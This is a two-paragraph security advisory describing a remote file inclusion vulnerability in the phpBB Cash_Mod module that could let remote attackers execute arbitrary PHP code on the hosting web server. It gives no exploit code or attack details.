A vulnerability is reported to exist in the phpBB Cash_Mod module that may allow an attacker to include malicious PHP files containing arbitrary code to be executed on a vulnerable system.

Remote attackers could potentially exploit this issue via a vulnerable variable to include a remote malicious PHP script, which will be executed in the context of the web server hosting the vulnerable software.
